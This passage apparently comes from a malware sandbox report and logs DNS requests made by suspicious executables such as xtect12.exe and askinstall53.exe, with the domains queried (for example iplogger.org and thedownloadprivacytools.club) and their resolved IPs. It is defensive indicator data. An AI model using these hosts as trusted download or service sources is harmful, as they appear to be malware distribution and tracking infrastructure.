                                                                                                                                                                                                                                          64 B
                                                                                                                                                                                                                                          144 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          cdn.discordapp.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          162.159.135.233
                                                                                                                                                                                                                                          162.159.134.233
                                                                                                                                                                                                                                          162.159.130.233
                                                                                                                                                                                                                                          162.159.129.233
                                                                                                                                                                                                                                          162.159.133.233

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          55 B
                                                                                                                                                                                                                                          71 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          ipinfo.io

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          34.117.59.81

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          i.spesgrt.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          59 B
                                                                                                                                                                                                                                          91 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          i.spesgrt.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.21.88.226
                                                                                                                                                                                                                                          172.67.153.179

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          3freeprivacytoolsforyou.xyz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          73 B
                                                                                                                                                                                                                                          138 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          3freeprivacytoolsforyou.xyz

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          fsstoragecloudservice.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          71 B
                                                                                                                                                                                                                                          87 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          fsstoragecloudservice.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          111.90.156.58

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          kaleidographic.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          64 B
                                                                                                                                                                                                                                          80 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          kaleidographic.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          95.181.172.98

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          74 B
                                                                                                                                                                                                                                          144 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          thedownloadprivacytools.club

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          2no.co
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          52 B
                                                                                                                                                                                                                                          68 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          2no.co

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          88.99.66.31

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          a.goatagame.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          61 B
                                                                                                                                                                                                                                          93 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          a.goatagame.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          172.67.145.110
                                                                                                                                                                                                                                          104.21.49.131

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          110 B
                                                                                                                                                                                                                                          147 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          52.219.64.68

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          bb.goatggame.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          94 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          bb.goatggame.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          172.67.161.96
                                                                                                                                                                                                                                          104.21.9.227

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          crl3.digicert.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          63 B
                                                                                                                                                                                                                                          111 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          crl3.digicert.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          93.184.220.29

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          crl.usertrust.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Setup (17).exe
                                                                                                                                                                                                                                          63 B
                                                                                                                                                                                                                                          79 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          crl.usertrust.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          151.139.128.14

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          55 B
                                                                                                                                                                                                                                          71 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          ipinfo.io

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          34.117.59.81

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          proxycheck.io
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          59 B
                                                                                                                                                                                                                                          107 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          proxycheck.io

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.26.8.187
                                                                                                                                                                                                                                          104.26.9.187
                                                                                                                                                                                                                                          172.67.75.219

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          ip-api.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          SystemNetworkService
                                                                                                                                                                                                                                          56 B
                                                                                                                                                                                                                                          72 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          ip-api.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          208.95.112.1

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          110 B
                                                                                                                                                                                                                                          147 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          52.219.158.26

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          iplogger.org
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          58 B
                                                                                                                                                                                                                                          74 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          iplogger.org

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          88.99.66.31

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          iryarahara.xyz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          HrVJwX4JK_BrfAM01ZGJkPgU.exe
                                                                                                                                                                                                                                          60 B
                                                                                                                                                                                                                                          76 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          iryarahara.xyz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          77.246.145.4

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          www.facebook.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          jooyu.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          107 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          www.facebook.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          31.13.64.35

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          s.lletlee.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          customer3.exe
                                                                                                                                                                                                                                          59 B
                                                                                                                                                                                                                                          91 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          s.lletlee.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.21.17.130
                                                                                                                                                                                                                                          172.67.176.199

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          one-wedding-film.xyz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          jLj1KRl7Wh0of1ptA3Lmr_bZ.exe
                                                                                                                                                                                                                                          66 B
                                                                                                                                                                                                                                          98 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          one-wedding-film.xyz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.21.1.69
                                                                                                                                                                                                                                          172.67.128.192

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          garbage-cleaner.biz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          gcleaner.exe
                                                                                                                                                                                                                                          65 B
                                                                                                                                                                                                                                          97 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          garbage-cleaner.biz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          81.177.181.145
                                                                                                                                                                                                                                          213.252.246.131

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          api.ip.sb
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          440B.exe
                                                                                                                                                                                                                                          55 B
                                                                                                                                                                                                                                          145 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          api.ip.sb

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.26.13.31
                                                                                                                                                                                                                                          104.26.12.31
                                                                                                                                                                                                                                          172.67.75.172

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          jekorikani.xyz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          MM6bxhR1XdM4iXPiXXnslTZn.exe
                                                                                                                                                                                                                                          60 B
                                                                                                                                                                                                                                          76 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          jekorikani.xyz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          185.117.75.123

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          295 B
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          a.goatgame.co

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          a.goatgame.co

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          a.goatgame.co

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          a.goatgame.co

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          a.goatgame.co

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          script.googleusercontent.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          74 B
                                                                                                                                                                                                                                          119 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          script.googleusercontent.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          142.250.179.193

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          script.google.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          63 B
                                                                                                                                                                                                                                          79 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          script.google.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          172.217.17.78

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          deyrolorme.xyz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          1340993.exe
                                                                                                                                                                                                                                          60 B
                                                                                                                                                                                                                                          76 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          deyrolorme.xyz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          212.224.105.106

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          money4systems4.xyz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          7706313.exe
                                                                                                                                                                                                                                          128 B
                                                                                                                                                                                                                                          192 B
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          2

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          money4systems4.xyz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.21.1.123
                                                                                                                                                                                                                                          172.67.129.55

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          money4systems4.xyz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          172.67.129.55
                                                                                                                                                                                                                                          104.21.1.123

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          a.goatgame.co
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          anyname.exe
                                                                                                                                                                                                                                          59 B
                                                                                                                                                                                                                                          91 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          a.goatgame.co

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.21.79.144
                                                                                                                                                                                                                                          172.67.146.70

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          ipinfo.io
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          XcIoTauhzRXv_neuMWaGOxTR.tmp
                                                                                                                                                                                                                                          55 B
                                                                                                                                                                                                                                          71 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          ipinfo.io

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          34.117.59.81

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          uyg5wye.2ihsfa.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          jooyu.exe
                                                                                                                                                                                                                                          64 B
                                                                                                                                                                                                                                          80 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          uyg5wye.2ihsfa.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          45.136.151.102

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          eduarroma.tumblr.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          posuivhNlqACsYj33uam4392.exe
                                                                                                                                                                                                                                          66 B
                                                                                                                                                                                                                                          98 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          eduarroma.tumblr.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          74.114.154.22
                                                                                                                                                                                                                                          74.114.154.18

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          ipqualityscore.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          64 B
                                                                                                                                                                                                                                          112 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          ipqualityscore.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          172.67.72.12
                                                                                                                                                                                                                                          104.26.3.60
                                                                                                                                                                                                                                          104.26.2.60

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          ingstorage.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Inlog.tmp
                                                                                                                                                                                                                                          60 B
                                                                                                                                                                                                                                          76 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          ingstorage.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          5.182.39.145

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          duzlwewk2uk96.cloudfront.net
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          VPN.tmp
                                                                                                                                                                                                                                          74 B
                                                                                                                                                                                                                                          138 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          duzlwewk2uk96.cloudfront.net

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          52.222.137.163
                                                                                                                                                                                                                                          52.222.137.218
                                                                                                                                                                                                                                          52.222.137.29
                                                                                                                                                                                                                                          52.222.137.124

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          www.listincode.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          128 B
                                                                                                                                                                                                                                          160 B
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          2

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          www.listincode.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          144.202.76.47

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          www.listincode.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          144.202.76.47

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          s3.tebi.io
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          WEATHER Manager.tmp
                                                                                                                                                                                                                                          56 B
                                                                                                                                                                                                                                          88 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          s3.tebi.io

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          188.40.106.215
                                                                                                                                                                                                                                          144.76.17.137

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          most-fast-link-download.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          DllHost.exe
                                                                                                                                                                                                                                          146 B
                                                                                                                                                                                                                                          292 B
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          2

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          most-fast-link-download.com

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          most-fast-link-download.com

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          perfect-request-smart.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          GameBoxWin64.exe
                                                                                                                                                                                                                                          71 B
                                                                                                                                                                                                                                          87 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          perfect-request-smart.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          66.29.130.154

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          activityhike.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          LivelyScreenRecS1.9.exe
                                                                                                                                                                                                                                          62 B
                                                                                                                                                                                                                                          78 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          activityhike.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          95.142.37.102

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          statuse.digitalcertvalidation.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          158 B
                                                                                                                                                                                                                                          310 B
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          2

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          statuse.digitalcertvalidation.com

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          statuse.digitalcertvalidation.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          72.21.91.29

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          72.21.91.29

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          370 B
                                                                                                                                                                                                                                          5

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          thedownloadprivacytools.club

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          thedownloadprivacytools.club

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          thedownloadprivacytools.club

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          thedownloadprivacytools.club

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          thedownloadprivacytools.club

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          3freeprivacytoolsforyou.xyz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          146 B
                                                                                                                                                                                                                                          276 B
                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                          2

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          3freeprivacytoolsforyou.xyz

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          3freeprivacytoolsforyou.xyz

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          110 B
                                                                                                                                                                                                                                          147 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          7e10a716-f462-4371-a152-105d67ce51a8.s3.ap-south-1.amazonaws.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          52.219.156.26

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          crl.globalsign.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Cleaner Installation.exe
                                                                                                                                                                                                                                          64 B
                                                                                                                                                                                                                                          179 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          crl.globalsign.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.18.21.226
                                                                                                                                                                                                                                          104.18.20.226

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          www.iyiqian.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          61 B
                                                                                                                                                                                                                                          77 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          www.iyiqian.com

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          103.155.92.58

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          www.mhmvcy.xyz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          60 B
                                                                                                                                                                                                                                          76 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          www.mhmvcy.xyz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          188.225.87.175

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          thedownloadprivacytools.club
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          74 B
                                                                                                                                                                                                                                          144 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          thedownloadprivacytools.club

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          bestinternetstore.xyz
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          2571189.exe
                                                                                                                                                                                                                                          67 B
                                                                                                                                                                                                                                          99 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          bestinternetstore.xyz

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.21.35.173
                                                                                                                                                                                                                                          172.67.178.16

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          api.ip.sb
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          440B.exe
                                                                                                                                                                                                                                          55 B
                                                                                                                                                                                                                                          145 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          api.ip.sb

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          104.26.13.31
                                                                                                                                                                                                                                          104.26.12.31
                                                                                                                                                                                                                                          172.67.75.172

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          connectini.net
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          Wileshurave.exe
                                                                                                                                                                                                                                          60 B
                                                                                                                                                                                                                                          76 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          connectini.net

                                                                                                                                                                                                                                          DNS Response

                                                                                                                                                                                                                                          162.0.210.44

                                                                                                                                                                                                                                        • 8.8.8.8:53
                                                                                                                                                                                                                                          perfect-request-smart.com
                                                                                                                                                                                                                                          dns
                                                                                                                                                                                                                                          GameBoxWin64.exe
                                                                                                                                                                                                                                          71 B
                                                                                                                                                                                                                                          87 B
                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                          1

                                                                                                                                                                                                                                          DNS Request

                                                                                                                                                                                                                                          perfect-request-smart.com

                                                                                                                                                                                                                                          DNS Response

